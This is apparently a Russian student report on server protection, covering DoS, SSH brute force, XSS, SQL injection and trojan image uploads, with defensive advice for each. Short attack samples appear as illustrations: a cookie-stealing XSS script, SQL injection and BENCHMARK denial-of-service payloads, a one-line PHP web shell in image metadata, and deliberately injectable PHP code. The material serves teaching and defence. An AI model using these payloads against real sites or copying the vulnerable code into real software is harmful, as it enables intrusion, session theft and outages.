Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Ot4et.docx
Скачиваний:
5
Добавлен:
01.03.2025
Размер:
269.74 Кб
Скачать

1.4 Методы защиты сервера

Атака DoS (Отказ в обслуживании) - атака, чья цель забить какой-либо ограниченный ресурс сервера (интернет-канал, оперативную память, процессор и тд).

В реальной жизни DoS часто выглядит так: из-за ошибки в программе, использование процессора подскакивает и долго держится у отметки 100%, а злоумышленник периодически использует данную дыру в программе. Неправильно написанное приложение может исчерпать всю оперативную память.

Защита от атак DoS:

Обновление программы, которой манипулируют для атаки DoS;

Настроить квотирование ресурсов для учетной записи, от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, количество порождаемых процессов, открытых файлов и т.д.

Настроить логирование в программе и постараться найти хакера, заблокировав его в файерволе.

DDoS (тот же DoS, но вас атакуют с нескольких компьютеров-зомби, под руководством атакующего).

Защита от атак DDoS:

Если DDoS направлен на приложение, попытайтесь в логах найти отличия хакеров от легитимных пользователей, и, автоматизируя скриптом, заносите в правила файервола в deny(запрещено).

Если DDoS направлен на систему (например, атака по ICMP протоколу), автоматизируя скриптом, заносите в правила файервола в deny.

Настроить квотирование ресурсов для учетной записи, от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, количество порождаемых процессов, открытых файлов и тд.

Познакомьтесь с mod_security для Apache, это прекрасное средство поможет вам в некоторых ситуациях.

Атака bruteforce пароля. Кто оставлял сервер с настроенным ssh, но забывал ограничить доступ по ssh с определенных IP и с определенными логинами (директива в ssh_config AllowUser), тот наверняка видел в логах попытки перебора пароля маша:пароль_маши.

Защита от bruteforce пароля:

Ограничивайте количество попыток неудачных логинов/паролей;

Если приложение позволяет, то настройте увеличение времени перед новой попыткой логин/пароль;

Если с приложением должен работать узкий круг людей, создайте такое правило, которое ограничит им доступ.

Атака через динамическое содержимое сервиса

Данный вид атак часто происходит на связку Apache + (PHP | PERL) + (MySQL | PostgreSQL) для мира *nix и IIS + ASP + Microsoft SQL Server для мира MS Windows с помощью простого браузера, но это только частный случай, который просто чаще используется из-за популярности web. В данной связке языками программирования являются ASP, PHP, Perl, SQL, поэтому их часто будут использовать хакеры для составления своих деструктивных конструкций.

Веб-сервер + CGI скрипты

Древняя связка, ныне не употребляющаяся - Apache + PHF (именно P H F) скрипты;

IIS + сервер приложений ColdFusion;

Механизм SSI (Server Side Includes);

Смысл всех атак такого рода сводится к тому, чтобы пытаться с помощью браузера обследовать сайт на поиск ошибок в скриптах, обслуживающих динамическое содержимое (content) сайта.

Отсюда вывод - взлом сайта через атаку на web, на котором лежат только статические html-страницы, ссылающиеся только друг на друга, НЕВОЗМОЖЕН. Атаки через ваш Web-сайт появились, когда люди захотели больше интерактивности и добавляли info через языки программирования и базы данных.

Хакеры сёрфя по сайту, особое внимание обращают на скрипты, которым передается какой-либо параметр. А что, если автор скрипта не проверяет, что именно передается в качестве значения параметра?

Общие решения для админа от атак на динамическое содержимое сервиса (Web-сайт, как частный случай):

Обновление. Мы уже об этом говорили, но, если вы используете стороннюю наработку (движки форумов, галерей, чатов и тд), то получайте сообщения об уязвимостях и закрывайте дыры.

Будьте нестандартны. Во многих хакерских утилитах, базах уязвимостей часто мелькают пути forum/, gallery/, images/. Очень удобно! Суть такова, если ты не стандартен, то это дополнительные палки в колеса хакеру, который атакует твой сайт. Ему придется добавлять/исправлять в ручную базу/скрипт. А всегда хакер это сможет или захочет? Молодых хакеров "скрипт-кидисов" это точно отпугнет. Вот, например, советы по безопасности PHP:

# Сделать код PHP выглядящим как коды других типов

AddType application/x-httpd-php .asp .py .pl

# Сделать код PHP выглядящим как коды неизвестных типов

AddType application/x-httpd-php .bop .foo .133t

# Сделать код PHP выглядящим как html

AddType application/x-httpd-php .html .htm

Эта форма безопасности для PHP через скрытие имеет мало недостатков при небольших затратах. Сами хакеры, описывая свои взломы, пишут, что скачивают такое же ПО, что расположено на вашем сервере, с сайта разработчика и смотрят с какими по умолчанию именами таблиц/ путями/ работает тот или иной движок. Общий смысл в нестандартности - это затянуть процесс взлома, чтобы у хакера "блицкриг" не получился, а чем больше он тянет, тем больше вероятность его обнаружения.

Уберите версии движков и скриптов на сайте. Это ценная информация, которой должен быть лишен хакер, зная версию, он ищет готовые решения для взлома.

Подумайте о необходимости .htaccess. Наличие файлов .htaccess подразумевает, что можно отменить ваши опции заданные в основном конфиге Апача, поверьте, хакеры так и сделают. Если отменить использование .htaccess с помощью директивы "AllowOverride None", то вы получите выигрыш в производительности Апача, так как он не будет просматривать при каждом запросе все каталоги по пути к веб-страничке и повысите безопасность веб-сервера Апач.

Подробнее об атаках на динамическое содержимое (Web-сайт, как частный случай):

XSS (Cross Site Scripting).

Межсайтовый скриптинг называется именно XSS, а не CSS, так как CSS это ранняя аббревиатура означающая "каскадные таблицы стилей". Атаки XSS направлены не против сервера, а против пользователей данного сервера. Выглядит атака XSS следующим образом, на сайте есть редактируемые поля на web-странице или параметры скрипта, которые не фильтруются на конструкции вида <, >, javascript.

Хакер добавляет в редактируемые поля код на языке программирования установленный на стороне клиента, обычно это Java и VBScript, и этот код становится частью HTML страницы. Когда пользователь посещает такую страницу, его браузер, разбирая страницу, выполняет этот код.

Что делают хакеры, благодаря XSS?

Кража кукисов (cookie, плюшки) - в этих текстовых файлах хранится информация, которую сервер "положил" пользователю для его последующей идентификации. В примере, если вы создадите файл test.html с таким содержимым (напишите его руками сами), то при запуске в браузере, он выведет XSS.

<html><body>

<ifrаme srс=jаvаscript:аlеrt("XSS!")></sсript>

Уважаемый админ у меня произошла ошибка при посещении сайта<br> помогите </bоdy></htмl>

А ведь можно написать скрипт на Java и посерьезнее <script>document.location="адрес приемщика кукисов"+document.cookie</script>. Обычно подобные скрипты пишут на web-почту админу, и, используя социальную инженерию, пытаются заставить его прочесть сообщение, чтобы получить его кукисы.

Если в кукисах нет привязки к IP адресу и дополнительных мер защиты, то подменяют свои кукисы на кукисы админа и пытаются попасть в админку, которая не проверяет логин и пароль и идентифицирует людей только по кукисам.

Решение проблемы:

Для блокировки записи html тегов в базу данных из полей ввода информации, применяйте конструкции подобные htmlspecialchars для PHP, которые заменят < на <, > на >, & на & и так далее

Пример,

$comment = htmlspecialchars($comment, ENT_QUOTES);

$query = "insert into guestbook

(name, location, email, url, comment) values

('$name', '$location', '$email', '$url', '$comment')";

mysql_query($query) or die (mysql_error());

Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Изучите, как правильно применять регулярные выражения для разбора поступающих данных. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.

Если вы хотите использовать технологию cookie на своем сайте, то ознакомьтесь с безопасными методами работы с кукисами. Ограничивайте их действия во времени и по IP адресам.

Как админ будьте бдительны, когда вас разводят с помощью социальной инженерии. Не забывайте о личной компьютерной безопасности за своим клиентским компьютером.

SQL-injection.

Эта болезнь обозначает, что непроверенный параметр подставляют в SQL запрос, фигурирующий в скрипте. Скрипты, болеющие SQL-injection, хакер находит простым способом, к значению параметра поставляется кавычка site.com/view.php?id=1' или числовой параметр видоизменяют так site.com/view.php?id=2-1.

Если подставленная кавычка вызывает "ошибку" (куча сообщений, что не выполняется такой-то запрос в таком-то скрипте по такому пути), то такой скрипт кандидат на взлом.

Код, не проверяющий значение и страдающий SQL-injection

$id = $_REQUEST['id'];

$result = mysql_query("SELECT title, text, datenews, author FROM `news` WHERE `id`='$id'");

Теперь представьте что вместо числа, вам подставят "-1 union select null/*" (без кавычек) и тогда ваш запрос превратится

SELECT title, text, datenews, author FROM `news` WHERE `id`='-1 union select null/*'

То есть, хакер хочет, чтобы помимо вашего запроса выполнился его запрос, объединеный с вашим с помощью директивы union. А дальше хакер будет пытаться составлять другие запросы и, учитывая мощь языка SQL, ничего хорошего это админу не сулит. От дефейса (deface - замена стартовой страницы сайта) до получения прав root на вашем сервере. Хакер так же может провести DoS атаку благодаря SQL-injection: site.com/getnews.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) пара таких запросов и сервер в 100% загрузке процессора надолго.

Защита от SQL-инъекции:

Активно используйте такие средства серверов SQL, как представления (view) и хранимые процедуры. Это позволит ограничить несанкционированный доступ к базе данных.

Перед тем как передавать в запрос параметр, его нужно проверить на тип (для PHP - is_bool(), is_float(), is_int(), is_string(), is_object(), is_array() и is_integer()) и, минимум, закавычить с помощью конструкции типа addslashes для PHP).

Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку.

Все скрипты работают с базой данных от какой-нибудь учетной записи базы данных, уберите у этой учетной записи все привилегии, которые не нужны для работы. Часто хакеры используют команду MySQL (MySQL взят для примера, это касается любого SQL сервера) "LOAD DATA INFILE" для чтения нужных им файлов с сервера и доступных для чтения учетной записи, от которой работает MySQL. Отсюда вывод, отключайте ненужные привилегии для ваших скриптов, такие как FILE, которые нужны для применения команды LOAD DATA INFILE. Принцип "основного минимума" должен быть взят за основу.

Системная учетная запись, от которой работает SQL сервер, не должна иметь доступ к страницам сайта и системным файлам сервера.

Троянская картинка:

Если у вас есть на сайте возможность заливать файлы на сервер, будьте готовы к заливке, например, картинки-аватары. В картинке в формате JPEG есть понятие метаданные и в эти метаданные запишут

<? echo "<pre>";passthru($_GET['cmd']);echo "</pre>"; ?>

картинку переименуют avatara.jpg.php, для обхода большинства проверок на расширение, и будут использовать site.com/upload_images/avatara.jpg.php?cmd=команды_сервера

Защита от трояна:

Корректно проверяйте расширение файлов. Даже если вы корректно обрабатываете разрешенные файлы, будьте готовы, что картинку из jpg в php, переименуют с помощью другой уязвимости на вашем сайте. Проверяйте наличие в картинке метаданных с помощью функций подобных exif_read_data() в PHP.

Запретите средствами своего веб-сервера выполнение языков программирования в каталогах с изображениями. Для этого, просмотрите в конфигах Апача строчки вида "AddType application/x-httpd-", которые связывают языки программирования с расширениями файлов, и запретите их выполнение в каталогах с изображениями. Для Apache запрещение выполнение файлов языка PHP будет конструкция

<Files "\.php">

Order deny, allow

Deny from all

</Files>

Для своего языка программирования найдите материал, обучающий приемам безопасного программирования при обработке изображений и корректной заливки их на сервер.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]